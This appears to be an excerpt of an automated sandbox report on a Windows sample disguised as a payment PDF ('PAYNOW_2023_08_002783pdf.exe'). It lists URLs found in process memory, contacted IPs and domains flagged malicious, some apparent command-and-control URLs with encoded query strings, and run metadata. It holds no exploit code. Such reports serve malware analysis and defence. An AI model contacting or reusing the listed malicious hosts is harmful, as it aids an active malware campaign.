https://doc-00-7o-docs.googleusercontent.com/	PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003188000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/christiane-f-was-geschah-mit-dem-m	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://joshsmithonwpf.wordpress.com)	PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	false	Avira URL Cloud: safe	low
https://excel.office.com	explorer.exe, 0000000B.00000003.89862322225.000000000D96E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D980000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90801789873.000000000D97F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/avenir-suisse-sieht-keinen-wohnungsmangel-sp-sch	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000626000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.gopher.ftp://ftp.	PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/shopping?pid=143097525122	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.reg.ru/support/#request	ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.google.com	PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.nic.ru/catalog/domains/	ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	false		high
https://drive.google.com/	PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003148000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wstatic.hosting.nic.ru/logo.svg	explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/	explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-de/sport/motorsport/formel1/renn-kalender	explorer.exe, 0000000B.00000000.89214774004.0000000009CCE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CCE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://server99.hosting.reg.ru/manager	explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://yastatic.net/pcode/adfox/loader.js	ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.zenturasolutions.com/64	ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 0000000B.00000003.90798168536.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89860922380.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D99B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/in-den-hintern-gebissen-frecher-fuchs-	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/MorphSVGPlugin.min.js	ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.nic.ru/hcp2/sites/www.legalinmedia.online/?leg4590245	explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
https://android.notify.windows.com/iOSd?	explorer.exe, 0000000B.00000000.89205146163.0000000001318000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93119628594.0000000001310000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1577Z44ZL.9.dr	false		high
http://www.m7q374.cfd/aw8o/?5Nag0d=nhv7d1UsR641C1xsYG7yI3kkUS0KzPRqVFV4UCeq	ipconfig.exe, 00000009.00000002.93142477578.0000000007777000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nic.ru/catalog/hosting/dedicated/	ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	PAYNOW_2023_08_002783pdf.exe	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JgArPAA=/Teaser/temprise1.svg	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.google.com/favicon.ico	ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/shopping?pid=78280893023	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-de/finanzen/top-stories/nach-	explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/international/bewohner-sollen-sich-sch	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	PAYNOW_2023_08_002783pdf.exe	false		high
https://www.msn.com/de-ch/shopping?pid=55400307296	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://aegisknight.org/cppinterface.html	PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 0000000B.00000002.93119628594.0000000001310000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.comY	explorer.exe, 0000000B.00000003.90798168536.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89860922380.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D99B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=160B7FB949C147B2A64ACB13C14C28AA&timeOut=5000&oc	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.quovadis.bm0	PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css	ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/schluss-mit-massentourismus-so-will-dieses-land-sich-jet	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/gefahr-besteht-weiterhin-evakuierte-d	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-dark	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reg.ru?target=_blank	ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 0000000B.00000000.89223803196.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/finanzen/wirtschaft/studie-zur-altersvorsorge-fast-jeder-zweite-kann-seine	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com/shell	explorer.exe, 0000000B.00000002.93147051443.0000000009EC6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89216854584.0000000009E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89851355351.0000000009EB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89856660556.0000000009EC5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.openlend.lat/aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJes	ipconfig.exe, 00000009.00000002.93139518061.0000000004130000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003290000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000148E0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.msn.com/H	explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/	explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/omas-weisheiten-diese-uralten-k	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000000B.00000000.89208174971.0000000003910000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.89221171128.000000000B540000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.89220357090.000000000A3C0000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zenturasolutions.com/aw8o/?5Nag0d=taxf5j588OeYZZ7u8xH1eBnKDxsrb249ZHPrEnAhG3HGAn0ZxHMys4u	ipconfig.exe, 00000009.00000002.93120034029.0000000002BCF000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007786000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/other/tickt-am-meeresgrund-eine-zeitbombe/ar-AA1fUEma	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.nic.ru/hcp	ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
https://aka.ms/odirm	explorer.exe, 0000000B.00000000.89216854584.0000000009E38000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93146293008.0000000009E38000.00000004.00000001.00020000.00000000.sdmp	false		high
https://js.users.51.la/21774239.js	ipconfig.exe, 00000009.00000002.93139518061.0000000003956000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002AB6000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014106000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002C006000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galasoft.ch/license_MIT.txt	PAYNOW_2023_08_002783pdf.exe, 00000004.00000003.88075926633.0000000002943000.00000004.00000020.00020000.00000000.sdmp, Notice.txt.4.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-de/nachrichten/other/donald-trumps-ex-berater-john-bolton-usa-werden-die-nato	explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.nic.ru/catalog/hosting/shared/	ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
https://doc-00-7o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/3mmtd7lc	PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88602026511.00000000031AD000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717265199.00000000031AD000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/streaminganbieter-wie-netflix-verlieren-erstmals-	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/schweiz/bei-weltwoche-sommerfest-wirbel-um-foto-von-harald-sch	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ishikorori.com/aw8o/?5Nag0d=TR7PSkD0vDwdj3CeOnoWOoBm	ipconfig.exe, 00000009.00000002.93139518061.00000000050E4000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000004244000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000015894000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-US&chosenMarketReason=ImplicitNew	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	ipconfig.exe, 00000009.00000002.93139518061.0000000003AE8000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002C48000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014298000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/hochwasser-erreicht-basel/ar-AA1fVTyA	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zenturasolutions.com/	ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.cn/shellRESP	explorer.exe, 0000000B.00000002.93147051443.0000000009EC6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89216854584.0000000009E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89851355351.0000000009EB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89856660556.0000000009EC5000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
164.88.252.122	www.jzakmrs.com	South Africa	137951	CLAYERLIMITED-AS-APClayerLimitedHK	true
157.7.107.119	www.ishikorori.com	Japan	7506	INTERQGMOInternetIncJP	true
91.189.114.27	www.legalinmedia.online	Russian Federation	48287	RU-CENTERRU	true
37.140.192.187	www.makeinai.online	Russian Federation	197695	AS-REGRU	true
81.169.145.171	wobita.net	Germany	6724	STRATOSTRATOAGDE	true
107.148.17.67	www.kepaoqin.top	United States	54600	PEGTECHINCUS	true
169.150.247.39	www.openlend.lat	United States	2711	SPIRITTEL-ASUS	true
162.0.239.145	www.sonokmall.info	Canada	22612	NAMECHEAP-NETUS	true
96.44.182.131	handsome-sex.com	United States	8100	ASN-QUADRANET-GLOBALUS	true
154.206.192.10	www.americanpawnstar.com	Seychelles	138392	CTC-HKColleaguesTechnologyCOLIMITEDHK	true
51.79.96.115	wolfcapital.top	Canada	16276	OVHFR	true
142.250.184.206	drive.google.com	United States	15169	GOOGLEUS	false
43.154.67.170	www.fgnvcmef.click	Japan	4249	LILLY-ASUS	true
119.18.54.51	www.ladakhzesmo.com	India	394695	PUBLIC-DOMAIN-REGISTRYUS	true
142.250.185.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
107.148.134.218	www.m7q374.cfd	United States	18013	ASLINE-AS-APASLINELIMITEDHK	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1299767
Start date and time:	2023-08-29 22:40:12 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	3
